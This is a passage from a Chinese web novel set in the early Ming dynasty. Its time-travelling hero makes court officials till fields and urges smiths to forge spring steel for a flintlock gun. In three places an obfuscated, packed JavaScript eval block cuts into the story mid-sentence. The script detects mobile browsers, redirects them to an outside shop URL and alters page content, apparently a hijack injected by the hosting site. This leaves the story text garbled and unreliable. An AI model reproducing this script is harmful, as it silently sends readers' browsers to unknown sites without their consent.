“啊……”朱棣回头看了眼那群老老实实跟了上来的官吏们,也是一脸懵,这和他认知中的勋贵子弟差别很大啊:“我……我也不知道啊,我还想着今日还得好好教训他们一顿才老实的,怎么现在都如此乖巧……真是怪了。” 两人在那窃窃私语。 后面的人自然是没听见。 唯有那燕晓柳突然皱眉说了句:“哎,今日穿错衣服了啊!” 他一声长叹,也是让众人反应了过来,虽然都是没耕过田的人,但是也都是知道,自己这身官袍,大概是不是很适合下地的…… 虽然朱安宁和朱棣两人都是莫名其妙。 但是他们还是很快进入了工作状态。 朱安宁与朱棣两人,手持农具,动作娴熟而有力,开始整理着眼前的耕地。他们的每一个动作都显得那么自然而流畅,毕竟都是老手了。周围的众人纷纷驻足观看,只见汗水顺着他们的脸颊滑落,却丝毫没有减缓他们手中的速度与力度。 “真会啊?” 屯田所的农夫们是直接瞪大了眼睛。 “还说是婆娘在乱说???” “等下,那个好像是燕王殿下吧!昨日我看到有人对他行礼了……” “这般尊贵的人怎么会在这里……不对不对,是这般尊贵的人,怎么能耕田呢?” 围过来的人越来越多。 很快就喧闹了起来。 而他们身后的一众官吏,更是楞在了那里。 不是……哥们,你们真会啊! 的这种表情。 主要是两人的动作过于娴熟。 连这帮不会下地的人都看出来了,他们是真的会…… “嗯?诸位,没什么好看的整地而已,呵呵,都散了吧散了吧,这些功夫,你们千户副千户都会。” 朱安宁也是没想到自己带头起个示范作用能引来这么多人看。 那是抬头就被吓了一跳。 他寻思自己平时在永乐庄下地也没有这般多人围观啊。 而那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378809|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些听见朱安宁话语的农夫们,那表情自然也是精彩了起来。 几人面面相觑地对视了几眼,终于是鼓起勇气,回了朱安宁的话语。 “朱大人开玩笑了吧……千户大人,他们怎么能耕地呢?” 这话倒也是实话。 引来了一群人纷纷点头。 甚至是那后方的官吏们都表示认可。 不能说你朱大人和这燕王会点功夫。 这其他官也要像你们一样…… 这也太离谱了吧。 而正是此时。 已经驻扎好营位的虎贲卫,正在两个总旗大人的代领下,刚到这位置边上操练。 恰好也是看见一群人围在了那里。 便也是停了下来,开始驻足观看。 看见的自然也是自家指挥大人……在那耕田。 这直接是让一群亲卫傻了眼。 不是……自家大人这么接地气的么? 虽说昨晚戚祥已经对他们明说了,朱安宁的指挥佥事就是挂职的,但是好歹也是个佥事啊……怎么在那耕地了呢。 “不信?” 朱安宁抹了摸汗。 看见围住的人越来越多。 那是咧嘴大笑了起来。 挺好,人多也挺好的。 他忽然向虎贲卫的方 向大喊了句。 “岳总旗!岳总旗!” 这声叫喊随风而去。 因为距离的原因有点失真。 “老岳,叫你呢!”那霍总旗连忙推了把自己的好友,示意道。 “听到了听到了。”他连忙回了句。 然后对着朱安宁的方向大喊了一声:“卑职在!!!” 这一声可不小。 好歹是上过战场的职业军人。 喊的就是一个嘹亮。 把围观的人吓了一跳。 不少人的目光都转向了岳总旗。 只见他一溜小跑,来到了朱安宁跟前,抱拳又喊了句:“卑职在!指挥大人有何指示。” 这一手马屁是拍得有点水平,军中有两种指挥,一个是指挥使,一个是指挥佥事,你要硬叫朱安宁是指挥大人,那就是小拍一手马屁了。 可惜的是,朱安宁完全没听懂这个马屁…… “那个岳总旗,您得闲的话,帮我把这江宁所的千户副千户……若是周万在的话,也一并请过来,就说朱安宁找他们有事。” 这个命令有些莫名其妙,但是作为职业军人,他的基本操守便是,不问…… 就是不问。 他直接抱拳领命,然后跑开。 这让朱安宁不由得点了点头。 说到底,武官还是要比文人要来得实在啊…… 他转过头看了眼身后那群勋贵子弟……明明这群人家里应该也有不少是武官出身的……但是仅仅一代两代便变成了如今的模样。 真是有些蛋疼。 大部分人都听到了朱安宁的话语。 站得太后没听清的,也自然有前方的人传达。 那些江宁所的农夫表情那是无比精彩。 这朱大人真的叫自家大人过来……作证了? 这也太实诚了吧!!! 而詹事府官吏们,那已经是直接被整麻了。 人人都会是吧,如果是真是这样的话,岂不是显得自己这二三十号人很废物?! 不多时,正在勘察水渠的朱橚,领着李景隆三人风风火火地赶了过来。 脸上自然是疑惑的表情。 虽说回到永乐庄附近他们很开心,但是他们可没有忘记他们的职责。 番薯和土豆能不能种到全国各地去,就看他们江宁所了。 所以你要说他们几个没有压力,那是假的。 特别是朱橚,他差不多已经是夸下海口,要证明给自己父亲看的了。 这江宁所就是他的一份事业!在他心中,第一次,农事的地位,超过了药事。 他暂时抛却了那些草药,植物的想法,现在就是专心致志地想把这万亩良田,给弄好。 几人在那岳总旗的带领下,来到了这荒地边。 “先生,什么事?” 朱橚几人都是毕恭毕敬的样子。 在场的人自然也是看得真切。 只是还未等他们表达一下惊讶之情。 朱安宁已经开了口。 “周王,李千户,刘千户,这耕地的活,诸位能给我演示一下么?我怕詹事府的官们啊,跟着我这种人学不会,几位教一教?” 第二百零六章 怎么就哭了呢 耕田是一件很稀松平常的事情。 对于农夫而言,这是他们打小就会的事。 社会是有分工的,谁做什么,谁是什么阶级,有些事情啊,一出生就定好了。 不管是现在还是古代,都是如此。 所以他们并不会因为同伴会耕田而诧异。 但是……必然会因为士大夫阶级的官老爷们……会耕田而瞪大眼睛。 而且不止是一个。 怎么好像这地界,随便薅一个官老爷,都是个种田高手。 那周王,千户,副千户,耕起田来,好像就是个农夫似的……不对,他们的架势比一些农夫还要熟练。 “这田,耕得专业啊。”是朱安宁在感叹。 他要的就是这个效果。 推广新粮,也许没他想得容易。 特别是一纸政令式的推广,那是绝无可能的。 现在先在这群人中,确立一下技术骨干的地位,比确定所谓的官老爷地位要重要得多。 老农们有多固执,他是一清二楚的。 “怎么回事?”在远处跑过来围观的李祺驸马三人组,也是发出了感叹声。 他们身前的老农那是啧啧称奇。 “真是怪哩,这不是皇子还有大人们么,看他们那架势,你说是我家村子隔壁的农家儿郎我都信!” 这老伯说得是说到了众人的心坎里。 要知道他们劳作了小半年,天天这日晒雨淋的。 可不是什么细皮嫩肉的状态。 说起黑,他们可是不逞多让的。 朱安宁看着议论声越来越大,那是笑得更加地欢。 农夫们认可自己了就好。 而现在,也是时候收拾一下詹事府这群人了。 以燕晓柳为首的人,本来还想挣扎说上几句垃圾话的。 但是抬头一看,皇子都在那哼哧哼哧耕田,自己还有什么好说。 醒目点的那是官袍一松,拿起工具就准备开干。 没那么醒目的,看到别人往前走了,自己还不走,那不是找死么。 于是一群人乌泱泱地就走到了朱安宁面前。 “殿下与千户大人亲赴田间,躬耕力行,实乃我朝勤政爱民之典范,百姓之福也!” “农为国之本,殿下与千户大人以身作则,重视农耕,此等亲民之举,必能激励万民勤勉务农,共筑盛世基业。” “今日耕田,殿下与千户大人协同耕作,配合默契,效率倍增,真乃君臣一心,其利断金之佳话。” “愿殿下与千户大人此等亲民爱民之举,能如春风化雨,滋养万民心田,共迎丰收之年。” “殿下与千户大人亲身示范,此等勤政爱民之举,深感敬佩。” 几个读书比较六的,那是开口就顺口溜。 好歹都是有官身的了,不用考研了吧。 这套话听得朱安宁是笑容全无,一阵头疼不已。 “停停停!” 他连忙做了个停的手势。 然后开口道:“各位说这么多,不如试上一试?” 好不容易阻止了众人继续说废话的趋势,他赶紧给他们派了任务。 “好!” 几人个马屁佬是直接就应了声。 而那燕晓柳也有些跃跃欲试。 耕田能有什么嘛。 官吏一行二十余人,浩浩荡荡地来到了田边。 此时太阳初升,温度渐渐升高,田间可不是什么银两的地方。 燕晓柳一行人看着一片片荒地在阳光下,显得格外荒凉。 “不就是松土么……,看起来挺简单的,我们能有什么不会的?” 有人在吐槽,总而言之眼中都是多少带点不屑。 他们虽是文官,但是可不是那种只会文的。 家中的长辈当年基本都是跟着老朱打天下的,哪能说真就只让自己的孩子学文。 那是舞刀弄枪他们实际也是不含糊的。 和一流选手比肯定有差距。 但是力气,他们可不算小。 当看着这群人开始准备动手时。 朱安宁连忙叫停了朱橚等人,挥手让他们回到自己身边。 “辛苦咯,真厉害,我都以为你们忘记庄稼把式了呢。” “先生,我们才离开永乐庄没多久吧。“朱橚是听得哭笑不得。 刘畾却在一边不动声色地问了句:“先生,这群都是詹事府的官员们吧,真要让他们耕田啊……” 这话也是问出了李景隆和刘廌的心声,几人都是看向了朱安宁。 “耕田怎么了?他们平时在詹事府也是屁事不干,现在过来耕田,早点帮我把玉米种出来,比什么都强!” 朱安宁是撇了撇嘴,而刘廌却是终于忍不住了。 他开口道:“他们家中的长辈,可不是一般人啊……” 这是提醒朱安宁。 朱安宁也不是蠢人,他呵呵地笑了声。 “刚才,周王去耕了,燕王去耕了,你们三千户都下地了,他们能说什么呢?” “话……话是这么多……” “放心吧,现在谁还敢跳出来,不就是给我们陛下借 口砍多一个么?” 朱安宁最后,把话是说得直白。 和朱元璋在找寻机会推进那些事务一样。 朱安宁也是审视多度的人。 现在他还真就敢随便折腾这群人。 郭桓案还在审讯中,他就看谁敢跳! 他把视线挪到了场中。 其他人也是如此。 特别是那些农夫们,他们是饶有兴致地开始参观第二批官老爷的表演。 “这不行……”有老农第一时间就开始点评:“这农具拿法都有问题……” “确实,这群是根本就不会干活的,跟刚才的老爷们比,差远了!” 离得远,农夫们的话燕晓柳他们是没听见的。 现在他们的自信心也还处在爆棚状态。 然而,当他们准备大展身手时,才发现事情并不像他们想象的那么简单。 锄头沉甸甸的,每挥动一下都需要极大的力气。 和那些杂草纠缠在一起,他们根本不知道该怎么用才能有效地松土。 一时间,一群官袍男挥汗如雨,气喘吁吁,但荒地却没开垦出多少。 他们的衣衫早已被汗水浸透,紧贴在背上,显得狼狈不堪。 有几个倒霉蛋用力过猛,磕到了石头,手中的锄头甚至不慎脱手,飞了出去,砸在旁边的田埂上。 引得旁人一阵哄笑。 其中是虎贲卫那群人笑得最大声。 “嘻嘻,他们在干嘛?” “不知道,演戏曲吧。” 亲卫文化水平是堪忧的,但是语言攻击力还是不错的。 两句话直接是把站得近的几个詹事府官吏给干破防了。 他们的脸上、手上、胳膊上,都沾满了泥土和汗水,原本整洁的官服此刻也变得脏兮兮的。 这时,连旁边的几位老农看到了这一幕,忍不住偷笑,开始低声交谈起来。 “哎呀,这些官老爷,怕是连锄头都没摸过吧?简直是胡闹嘛……哎呦别磕坏咱们的农具啊……屯了可没人修”旁边的老农在叹气。 “可不是嘛,松土可是个技术活,得用巧劲,还得有耐心。他们这样胡乱挥动锄头,别说松土了,连地皮都刮不破。”另一位老农附和着。 比起亲卫们,老农们攻击性不算高。 但是侮辱性还是有点强的。 不少官吏们听到了这话。 心里是又羞又怒。 特别是燕晓柳……他哪知道耕田是这么苦逼的事情。 他唯一能做的只能是加大力气,希望出点奇迹。 然而,手里的农具却好像跟他作对似的,越来越不听使唤。 不仅是他,其他人大抵也是如此,那是急得满头大汗,手足无措。 毕竟现在可是乌泱泱一堆人看着他们。 “行了行了,我们也开始干活吧。” 不知过了多久,有老农反应了过来,连忙招呼身边的人开始上工。 毕竟他们也是有任务在身的。 一群人是附和着回了个好。 然后就就地在詹事府耕的田旁边开始卖力气干活。 那干活的架势,是比詹事府的人高了不知道多少。 只是詹事府的人,已经是干到晕头转向,哪还有功夫看隔壁。 苦逼归苦逼,但是自信哥还是不缺的。 “啧,燕晓柳,你看我们这好像也有模有样啊。”一位官吏擦着汗,望着自己耕过的土地,颇为满意地说道。 “呼呼……邢浦窦,别说大话了……赶紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378810|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干吧,你干的还没我一半多!”燕晓柳抹了抹汗,看了眼自己的劳动成果,突然觉得还挺满意的。 然而,当他停下来歇息,他看到了残酷的现实。 “喂……怎么人家都挖这么多了!!!”燕晓柳是终于看到了隔壁农夫们的速度。 比他们开始得晚,却是轻松超了他们不知道多少地…… 而且整的地,比他们漂亮多了…… “我们这么多人,竟然还不如他们十几个人耕得快!”邢浦窦难以置信地哼唧道…… “不行了……我要累死了。” “我也是……” “妈呀,有水喝么?” 要是说刚才还是憋着一口气想证明些什么的话。 现在看着别人耕的速度和自己干活的速度。 那是直接就绷不住了,好几个人直接坐到了地上。 也不管是否脏。 朱安宁看着这群累得半死的詹事府官吏,不由得嘿嘿笑了起来。 詹事府众人们的衣衫早已被汗水浸透,紧贴在背上,脸上、手上、胳膊上都沾满了泥土和汗水,狼狈不堪。 朱安宁就这般施施然走到了他们面前。 轻咳了声。 “干得不错,虽然粗糙了点,慢了点,但是也就算是这样了,时辰到了,先休息吧,都起来!跟我来,别坐在这里丢人!” 他用上了不容置疑的语气。 然后转身就开始走起来。 詹事府众人们此时再怨声载道,也不敢多说些什么。 本来就够丢人了。 还继续狗叫的话……那就是直接丢死人了。 朱安宁走得极快,他的目的地是小院外面。 一棵棵高大的树木投下斑驳的阴影,为这群官吏提供了一片难得的清凉之地。 不远处,永乐庄的铁冶正在忙碌地运作着,炉火熊熊,铁锤叮当,发出阵阵轰鸣声,与这群呆坐在那里的官吏形成了鲜明的对比。 铁冶的工人们挥汗如雨,熟练地操作着各种工具。 赵集现在忙到快要虚脱,难得没有来这里。 成梁在见过朱安宁后,立马拿来了早就准备好的干粮和水,一一分给了这些官吏。 作为曾经经历过农学实践课的人。 朱安宁哪能不知道这事的苦逼,那是早有准备。 一众人接过干粮和水,犹如饿虎扑食一般,狼吞虎咽地吃了起来。那干粮虽然只是简单的粗粮,但在他们口中却如同山珍海味一般美味,水更是甜如甘霖。 没有人说话。 一群人就在那里沉默地吃着。 而有人吃着吃着,眼泪竟然不自觉地流了下来。大概是觉得自己既废物又委屈。 燕晓柳和邢浦窦则是铁青着脸。 朱安宁则在一边,喝了口水,笑眯眯地提供了个建议。 “菜就多练!” 一众人没完全听懂。 但是多练,两个字,他们还是理解的…… —————————— 此时的应天府衙门门口,人声鼎沸,一群百姓围着告示墙,好奇地打量着朱元璋最新颁布的新政。告示上写的内容并不复杂,总结起来就是:粮食可直接和大明宝钞兑换。 这一消息自然是迅速引起了百姓的关注,很快就围了里外几圈。 “哎,你们看看这告示,说是粮食可以直接换宝钞了。”一位百姓指着告示,对身旁的人说道。 “哼,说得好听,洪武爷就只管发,也不管宝钞好不好用。”另一位百姓不屑一顾地回应道,“我们用宝钞换银两的时候,还不是有诸多阻滞,这直接互换的说法,真能靠谱吗?” “是啊,谁知道这宝钞换粮食的时候,会怎样……”又有人附和了句。 不少人是点了点头。 “哎,要不我们去试试?看看这官仓是不是真的能换。”有好事的百姓提议道。 “好,那我去试试。”有人自告奋勇,看着也不像是穷人,大概就是找乐子的公子哥,他拎着宝钞就跑到了官仓。 身后自然是跟了一大群看热闹的人。 当他忐忑不安地向小吏提出了兑换的请求后。 那小吏是爽快地把粮食称了给他。 “洪武爷的圣旨已经下来了,各地必须直接更换,不得设置任何前提。” 那小吏挑了挑眉,对着一众人等,大声说道。 第二百零七章 有弹性的铁皮啊 “明天就不要穿官袍过来啦。” 朱安宁也陪着他们吃了口饼子,然后又灌了口水。 不愧是优质劳动力。 虽然耕田不得章法,但是都是力大出奇迹的人才啊。 起码有熟练工二分之一的效率了,关键是不花钱,这什么帝国螺丝钉嘛,还有这种机构提供给自己么?多多益善多多益善。 朱安宁看着众人,是笑得相当开心。 而被看的人,心情就没那么美丽了。 至少一半人是崩溃的。 他们靠在树下,拿着干粮,一副蒙圈的状态。 苦,他们肯定是没吃过的。 看别人吃苦,他们肯定是有经验的。 而今天,他们试了一次,那必然是想死的。 谁能知道会这么累呢。 肌肉发力挥动锄头,那是一次又一次。 土块结在那里,却也是一次又一次地抵抗他们。 直到精疲力尽。 如果只是这样也还好,就是些肉体难受点而已。 而最后让他们开始遭受精神攻击的是,看到隔壁老汉们那超人般的速度…… 这就是熟练工的威力。 他们空有一身力气,却有点无用武之地的感觉。 直接就是败下阵来,相当难看。 “官袍这穿过来,不是糟蹋么。”朱安宁又补了句。 “朱大人,你也知道我们是官?” 燕晓柳狠狠地咬了口干粮,眼中满是不忿。 不忿比不过老农们,也不忿自己为什么要干这种事情。 总之,就是很复杂的心情。 “嗯?千户大人他们也是官啊,甚至说两位皇子,不比我们这些官高贵?” 朱安宁知道他在不忿些什么,直接就回怼了两句。 直接是让燕晓柳噎在了那里。 邢浦窦却也在一边接了话,他没有顺着朱安宁的话往下讲,而是跳出了这个辩论环节:“我等食君之禄,分君之忧,那是应当,但是不知这耕地一事,算不算得上是真正的分忧。” 邢浦窦的话说得很是犀利。 质疑自己耕田好不好,不如直接攻击耕田这件事情是否合理。 他更换思路无疑是成功的。 但是却也没有出乎朱安宁的意料。 他把饼子塞到了嘴巴里笑了笑,并没直接回答这个问题。 “一会你们休息好,我带你们去看点东西。” 说完话,他径直走向那铁冶的方向。 让一众詹事府官吏是楞在了那里。 坐在其中的宋慎,那是无奈地叹了口气。 他不知道自己是做了什么孽。 昨日刚被分来这詹事府,今天就被逼着上了田。 完了现在自家朱大人好像还要去其他地方溜达。 自己这个很明显就是太子派过来的贴身主簿,那肯定是要跟上去的。 他撑起了酸痛的身子。 那是一阵咬牙切齿。 比起那些真正的詹事府官吏们,他可是真的正儿八经文官家庭出身的人,根本就没有他们那么耐操。 所以一个早上下来,他是半条命直接快没了的那种。 他跟在后面唤了句。 “朱大人,等一等我。” 听见有人叫自己,朱安宁也是连忙缓了缓脚步。 回头看到的是宋慎。 “小宋大人,今天其实你不必下田的……” “但是我不也是詹事府的官员么……”宋慎听着朱安宁的话,却也是摇了摇头。 他不想特立独行,他家的家训可是要求他们做人中正的。 “这……随你吧……那你不休息?” “太子交代了,当值的时候时刻跟着朱大人,随时听候您的差遣。” “你这是主簿还是奴仆啊……” “自然是主簿……哎。” 宋慎哎了一声,不知道是感慨还是身子骨真的有点顶不住。 “行吧,我也正好缺帮手,有事的话就劳烦小宋大人咯。” 朱安宁是拱了拱手,对于这个太子派来的跟屁虫,他其实还是满意的。 虽然有一种太子派人来监视自己的嫌疑。 但是朱安宁更愿意相信,朱标真的是选择给他送个助手。 毕竟,他一直都很不想往不好的方向,去揣测这个千古第一太子。 “朱大人不必客气……” 两人说着话,很快就走到了铁冶的位置。 那铁冶里的工匠们还有主簿,都是看到朱安宁后立马行礼。 毕竟赵集已经交代过了,他不在的时候,尽量把朱安宁当成他们的主官就行…… 当然,这件事情朱安宁是反对的。 可惜反对无效。 “我就来看看……最近宫里不是催的紧么……咱们的枪能不能造快点。” “朱大人,枪都是你教我们造的……你心里应该有数啊,工序是一道不能少,时间也是实在减不了。” 有个工匠咧嘴笑了起来。 其他人也是随着哈哈笑着。 大家都很熟了,也就没有那么拘谨。 远处的詹事府官 吏们却看得眼珠子都快要凸出来。 “怎么,我们朱大人不仅是詹事府的主官,虎贲卫的指挥佥事,还是这铁冶的主官?” 有人坐在那里,一脸麻木地向自己的同僚们问道。 这个问题。 自然是没有答案的。 而远处的朱安宁也不会给他们答案。 此时的朱安宁,也就是过来闲逛下而已。 他的目光,却也很快被一个还在敲东西的工匠所吸引。 叮叮叮的声音,在铁冶中那是再常见不过。 但是朱安宁是知道火绳枪需要什么零件的。 这工匠敲的东西,很明显不属于任何火绳枪的零部件。 他好奇地凑了过去问道。 “李工匠,你在捣鼓什么?” 朱安宁随意地开口,其他工匠和主簿这时候也是该干嘛干嘛,朱安宁又不是没来过这里。 刚才也就是打个招呼而已。 “朱大人,您来了。”那被叫做李工匠的人,用力地敲了敲那铁砧上的铁片。 看着还是有些红的铁皮立马又被他丢到了水里。 熟练地降温手法让朱安宁是啧啧称奇。 其实他只是提供徐光启的开工天物仅此而已。 后续的很多制作步骤都是赵集带着工匠们摸索出来的。 这也让朱安宁看到了古代的工匠,事实上是有多么的牛逼。 真是难为他们了拥有这样的技艺,却只能用品质不好的铁矿,还是质地差得要死的燃料。 看见朱安宁对自己敲的东西感兴趣,那李工匠也是把那铁皮从水中拿出后丢到了一边。 擦了擦手行礼回道:“朱大人,这就是我自己敲着玩的,你放心!我绝对没有耽搁咱的正事!” 他拍了拍胸脯,烟熏缭绕之下,他脸有些发黑,两排大牙倒是白得很,这一笑自然是灿烂无比。 “没没没,我又没骂你,真的就是好奇这是什么。” “你说这些啊,前些日子那赵大人不是天天窝在角落念叨什么有弹性的铁片有弹性的铁片么?我看他都要魔怔了,就想能不能锻些给他看看。” 那李工匠还在那里笑着,有些不好意思的样子。 朱安宁却是一愣:“弹性的贴片?” 看着朱安宁有些懵逼的样子。 附近的几个工匠七嘴八舌地开始帮忙解释了起来。 “我们之前也随手锻过几片给赵大人看,赵大人是掰了几次就说应该不行,按他的说法得是能掰弯,完了还能自己回弹的铁片,能往复几百次不断最好……这要求比锻宝剑还离谱……寻常的铁片哪能有赵大人说的这般韧性嘛,弯个几次不给你断了都算好了。” 有工匠是皱眉说起了这件事情。 而马上又有人接话:“确实,这个属实是离谱了,但是也不是完全不行,赵大人改良过的高炉加上咱们最新焖出来的焦煤,现在的出的铁品质已经相当高了,按理来说只要千锤百炼后,并不是说没有机会达到赵大人说的效果。” “也就是有机会而已。” 几人还在讨论。 结果最后还是李工匠开口打断了他们的话语。 “诸位,今日可是到了一批新矿的,方才我试了试,比起我们之前应天府的那批货,我感觉要好上许多,所以才想试一试的。” “对哦,今天来了新矿,好像是北边的?” “对,叫遵化是吧。” “遵化?” 这群人说得朱安宁是头晕脑胀,但是遵化这个词他可是听得一清二楚的。 遵化矿这么快就开挖了? 这明朝办事效率又这么高了? “李工匠,你说清楚,你的意思是你用这遵化来的新矿石,有机会可以弄出赵大人说的那种铁片??” 朱安宁是突然激动了起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378811|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把一群工匠是吓了一跳。 他身旁的宋慎也是如此。 大家都意外地看着脸色突然潮红起来的朱安宁,有些猝不及防。 平日里,这朱大人总是一副什么事情都无所谓的样子,干什么都不太上心。 怎么今天一副着了魔的样子。 那李工匠见朱安宁这副模样,是连忙回道:“回朱大人,我只是觉得这批矿感觉比之前的好而已,具体能不能造出来,我也不确定,只是说,我按照以前师傅教我的做法,淬火再降温,理论上能让武器更有弹性……” 是这套流程么? 朱安宁当然是不得而知。 他又不是穿越回来带着无数知识加钢铁侠级动手能力的那种…… 但是他知道,这李工匠说有机会,那应该是有机会的。 “李工匠,这你得给我个准信啊!赵大人都说在铸剑这一块,你是最优秀的工匠,这弹性铁片,如果真的能成,你的功绩,我当面报给太子!不!我要报给陛下!” 朱安宁那是激动不已,在那铁冶里转来转去。 不止是李工匠,其他人都被朱安宁这幅态度给吓了一跳。 “敢问朱大人……那铁片,真就这么重要?” “重要!那是比起火绳枪都重要!!!不行,我得找小燕……这 事耽搁不得,这样,李工匠你继续敲,敲得越多越好,我下午再来看看情况。” 朱安宁撂下了一句话,直接又往外面跑去。 却也在跑到外面的第一时间,想起了自己是有助手的了。 “小宋大人,麻烦你快些去找燕王,我有急事!” “这般急?” “请快些去吧!” “好……” 安排完,朱安宁是立马在一众詹事府官员诧异的目光中,冲回了自己的院子里。 然后直接钻进了房车里。 “狗日的,这自生火铳!那个图解之前在什么资料里有过的!” 他打开了电脑,开始狂点起来。 点开的自然是之前一直在整理的浏览器缓存图片。 得亏他穿越前就一直是贴吧老哥,为了日常对线方便,那是经常查资料提高对喷水平的。 这自生火铳应该是明末发明的。 他记得很久之前和一个白痴争论开工天物是否有记载这燧发枪而吵过。 朱安宁是实实在在记得这玩意是明末才做出来的。 不是徐光启,而是毕懋康这个人做出来的。 好像是崇祯朝的什么官吧。 这不重要,重要的是他为了对象搜过图纸!!!! “这里!歪日,怎么这么糊啊……垃圾图片,不知道赵老哥还有工匠们能不能复原……” 他恼火地看着像素极低的图纸。 最后也只能是无奈地先打印出来。 然后又是一阵疯跑。 冲出了院子。 又是在一众詹事府官员们已经有些麻木的目光中,冲回了铁冶那里。 “李工匠!看看这个……哎你们都一起给我看看!这东西能不能造?!!” 朱安宁是满怀希望的。 毕竟他现在也是知晓了这铁冶里的人,可都是高水平人才。 那是技术都相当过关的。 那群工匠从朱安宁手中结果纸张。 那是一阵懵。 几人围在了那里。 开始了争论。 不知道是方言还是语速过快。 他们说的话,朱安宁是听得不太清楚。 总之场面很是劲爆就对了。 几人是越喊越大声。 甚至有人砸了下那铁砧上的锤。 把朱安宁是吓得够呛。 此时的宋慎还未回来。 朱安宁也只能在这等着。 知道不知过了多久。 李工匠被一众工匠推了出来。 只见他拿着纸,一边看一边走到了朱安宁的身边。 “朱大人。” “嗯……怎么样!” “这……这图我们看不太清楚啊!”李工匠不是什么官员,他说话那是相当的直。 直接就把朱安宁干了个沉默。 哎……要提前那么多年造燧发枪,果然是痴人说梦么…… 好像也是,自己的水平是相当有限的。 就别想那么多有的没的了。 “不过给我们一些时日,也不是不能试一下。” 有人,又补了一句。 第二百零八章 方希直有点点不一样 工匠们在讨论着图纸的可行性。 朱安宁根本就没法加入其中。 毕竟术业有专攻,他就是最初参与了两句讨论。 然后便尴尬地退到了一边,坐了下来。 而恰是此时,宋慎已经带着风风火火的朱棣冲了回来。 朱棣直接就是一个大跳,刷到了朱安宁的脸上,大喊了起来。 “燧发枪?燧发枪?!”他涨红了脸,那是激动到无以复加的表现。 两声大喊,是把在那讨论的工匠们都吓了一跳。 于是,所有人的注意力,都集中到了朱棣的身上。 众人都很是诧异,这燕王为何如此失态。 而朱棣才不管这些,他只知道火绳枪很好用,射程长,精度高,虽然射速比起火门枪高不了多少。 但是重点是可以单人操作。 这是火门枪完全无法比拟的巨大优势。 而现在,朱安宁告诉他,比火绳枪还要犀利的燧发枪居然有了一丝曙光。 他哪能不激动。 直接就是从屯田所那里快速冲了回来。 宋慎完全跟不上的那种速度。 “燕王莫要如此激动。”这里人多,朱安宁已经逐渐熟悉了在人多的地方开始称呼朱棣。 “朱哥,我能不激动?燧发枪,就是一扣动扳机,弹丸就可以自己射出来的燧发枪,不用火绳,不用点火,自己就可以击发的燧发枪啊!!!” 朱棣像是癫了一样,晃了晃朱安宁,差点是把他的早餐给晃出来。 “没做出来啊!不一定做的出来啊!” 朱安宁看着好像得了失心疯似的朱棣,那是连忙开始解释。 他继续大喊道:“距离真正做出来,还差得远啊!” “嗯?小宋大人不是说做出了什么什么东西么?我还以为燧发枪一下就做出来了……” 被吼了几句的朱棣,好像终于冷静了些许。 他看着一脸无奈的朱安宁,总算是松开了点手。 然后皱眉看向了后面才刚刚跑到的宋慎。 “燕王……燕王……我可没什么燧发枪造出来了,我只是说朱大人听闻能制作弹簧铁片了而已。” 宋慎并没有想背锅的样子,他跑到朱棣和朱安宁的面前,喘着气解释了起来。 朱安宁看见朱棣起码是恢复了点理智。 那也是连忙松了口气。 再听见宋慎的解释,他立马搞清楚了,大概是朱棣,会错了意。 “燕王,此等神兵,是没有这般容易就造出来的,还是得等工匠们研究研究。” “那朱哥你叫我过来干嘛……” “我叫您过来是因为,虽然燧发枪还没造出来,但是其中最关键的那个步骤,说不定是能够解决了。” “哪个步骤,是朱哥你说过的那个弹簧钢片???” 朱棣本来是恢复理智的样子,但是朱安宁的话刚出口,他立马表情又变得狂热了起来。 今天这事对他来说,总有些心情大起大落的感觉。 朱安宁是看着对方的脸色又涨红了起来,只能赶紧又解释了句:“得看工匠们,图解我已经给他们了,能造出来就有,不能造出来就没有!看他们看他们。” 朱安宁是毫无心理负担地把手指头指向了还在那讨论的工匠们。 直接是把工匠们弄得哭笑不得。 不是吧哥们……这图纸都快糊得像古墓里的文书了……造不造得出来那是真不好说的啊。 而且……李工匠的弹簧铁片,好不好使还真不知道啊。 一群工匠研究了半天,总算是看懂了那枪的构造便是用铁片压实,再松开,达到击发燧石生火点燃弹药舱的目的。 这般想象力是让他们佩服的。 但是实施起来的难度,也是让他们不约而同地倒吸凉气的。 结果现在朱大人好像把这责任推给了他们。 他们怎能不怕…… 而朱棣,却是已经强势加入了讨论之中。 铁冶的众人早就习惯了这皇子的存在,而且众人也发现了,这五皇子朱棣的水平还是挺高的。 虽然实操是差了点,但是你跟他说这些东西是怎么造的,他也能给你说出个123来。 他的加入,虽然众人无奈,但是也想不出什么拒绝的方法。 当朱棣看到那图纸后,也是没有觉得多大惊喜,他又不是没看过。 